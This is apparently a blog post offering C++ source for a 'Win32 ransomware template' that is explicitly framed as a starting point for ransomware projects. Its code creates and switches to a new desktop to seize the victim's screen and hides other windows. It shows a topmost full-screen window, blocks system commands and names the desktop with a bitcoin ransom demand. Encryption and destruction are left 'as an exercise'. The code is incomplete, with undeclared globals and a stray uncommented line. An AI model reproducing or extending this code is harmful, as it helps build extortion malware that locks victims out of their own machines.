Generic Win32 Ransomware Template

The following is a basic (C++) program to build out Win32 ransomware projects. It will let you “control” a Windows session’s terminal/screen. The file encrypting, transporting, ransoming, destruction, etc, is left as an exercise to the reader.
#include <Windows.h>
#include <WinGDI.h>

void CreateWndContent0(HWND parent)
{
	HWND wnd;
	wnd = CreateWindowExW(NULL, L"BTN", L"btn", 0x50012F00, 50, 100, 200, 100, parent, (HMENU) IDC_BUTTON0, instance, NULL);
	SendMessage(wnd, WM_SETFONT, (WPARAM) h_font, TRUE);
}

LRESULT CALLBACK WndProc0(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam)
{
	switch (msg)
	{
		case WM_CREATE:
			CreateWndContent0(hwnd);
			break;

		case WM_COMMAND:
			switch (LOWORD(wparam))
			{
				case IDC_BUTTON0:
					MessageBoxW(hwnd, L"BTN is clicked.", L"Event", MB_OK | MB_ICONINFORMATION);
					SendMessageW(hwnd, WM_DESTROY, NULL, false);
					break;
			}
			break;

		case WM_SYSCOMMAND:
			return true;
			break;

		case WM_DESTROY:
			PostQuitMessage(0);
			break;
	
		default:
			return DefWindowProc(hwnd, msg, wparam, lparam);
	}
	return FALSE;
}

HWND CreateWnd0()
{
	HWND wnd;
	wnd = CreateWindowExW(NULL, WND_CLASS_NAME0, L"window", WS_POPUP, 0, 0, 1920, 1080, NULL, NULL, instance, NULL);
 // Get screen size dynamically for the win
	hWindow0 = wnd;
	SetWindowPos(wnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
	ShowWindow(wnd, SW_SHOWNORMAL);
	UpdateWindow(wnd);
	return wnd;
}	

DWORD WINAPI Window0Thread( LPVOID param )
{
	SetThreadDesktop(hDesktop); // New desktop where further windows created
	RegisterClasses(WndProc0, WND_CLASS_NAME0);
	CreateWnd0();
	MessageLoop();
	ExitThread(0);
}

namespace Window
{
	bool CALLBACK HideWindowProc(HWND hwnd, LPARAM lParam)
	{
		if(GetAncestor(hwnd, 3) == hWindow0)
			return true;
		ShowWindow(hwnd, SW_HIDE);
		return true;
	}

	bool Init(HINSTANCE hInstance)
	{
		instance = hInstance;
		InitCommonControls();
		h_font = CreateFontW(-13, 0, 0, 0, FW_NORMAL, 0,
				0, 0, ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
				DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, L"Times New Roman");

		hWinsta = GetProcessWindowStation();
		SetProcessWindowStation(hWinsta);
		hDesktop = CreateDesktopW(L"Our ransomware message, give us all the bitcoins!", 0, 0, 0, GENERIC_ALL, NULL);
		hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
		SetThreadDesktop(hDesktop); // All windows created under this desktop.
		SwitchDesktop(hDesktop); // Take control of what the user sees. Show them the message.
		
		hThreadWindow0 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) &Window0Thread, 0, 0, 0);
		return true;
	}

	void DeInit()
	{
		SwitchDesktop(hOldDesktop); // Restore the old, original, desktop.
 Because you're a nice boy ;)
		CloseDesktop(hDesktop);
		CloseWindowStation(hWinsta);
	}
}